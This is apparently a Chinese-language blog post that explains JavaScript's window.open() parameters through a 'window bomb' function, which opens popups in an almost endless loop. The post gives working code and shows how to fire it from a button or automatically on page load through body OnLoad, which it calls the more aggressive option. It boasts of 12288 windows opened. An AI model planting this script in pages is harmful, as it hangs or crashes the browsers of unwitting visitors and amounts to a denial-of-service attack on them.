function WindowsBomb() { var nCounter = 0; while (++nCounter != 0) window.open("http://www.google.com.tw/", "Windows Bomb" + nCounter, "height = 1, width = 1, resizable = no"); return; }想當然爾,不會只介紹這個Function (函式)而已,而是要介紹window.open()的用法。以下一行是一個範例:
EX:
window.open("http://www.google.com.tw/", "Windows Bomb", "height = 600, width = 800, top = 100, left = 320, toolbar = no, menubar = no, scrollbars = no, resizable = no, location = no, status = no");window.open()總共有三個參數,每個參數用雙引號 (")括起來;參數與參數之間以逗號 (,)做為區隔;
1. 第一個參數:指的是要被開啟的視窗;可以是一個網址,也可以是Web Server上的某一個檔案。
2. 第二個參數:指的是要被彈跳出來的視窗的名稱。
3. 第三個參數:是屬於複合性的,裡面有十種屬性可以設定:
height: 指彈跳出來的視窗的高度,這裡是設為600。
width: 指彈跳出來的視窗的寬度,這裡是設為800。
top: 指彈跳出來的視窗,距離螢幕頂端的距離,這裡是設為100。
left: 指彈跳出來的視窗,距離螢幕左邊開始算起的距離,這裡是設為320。
以上四種屬性值的單位均為像素 (pixel)。
toolbar: 是否要顯示工具列。
menubar: 是否要顯示功能表列。
scrollbars: 是否要顯示捲軸。
resizable: 是否被允許改變視窗的大小。
location: 是否要顯示網址欄 (位址欄)。
status: 是否要顯示狀態列。
以上六種屬性值的設定,均為yes或no;這個範例中我們全部都設為no。
不過,其中resizable、location和status這三種屬性值,並非適用於各種瀏灠器。
resizable (是否被允許改變視窗的大小)和location (是否要顯示網址欄)在Mozilla FireFox及Google Chrome就無效,使用者依然可以改變視窗的大小;彈跳出來的視窗也會顯示位址欄。
status (是否要顯示狀態列)在Mozilla FireFox是無效的,請見以下三張圖:
既然已有function了,那該如何運用??比較消極的做法,就是設計成一顆按鈕,讓使用者按下之後,產生視窗炸彈:
<input type="button" OnClick="WindowsBomb(); ">比較積極的做法,就是當使用者一載入這個網頁,就直接產生視窗炸彈:
<body OnLoad="WindowsBomb(); ">以下,是在Linux ubuntu上Mozilla FireFox 2.0.0.14上的執行結果:
看!!一口氣彈出了12288個視窗!!
參考資料:http://www.wretch.cc/blog/hosulu/4930630
沒有留言:
張貼留言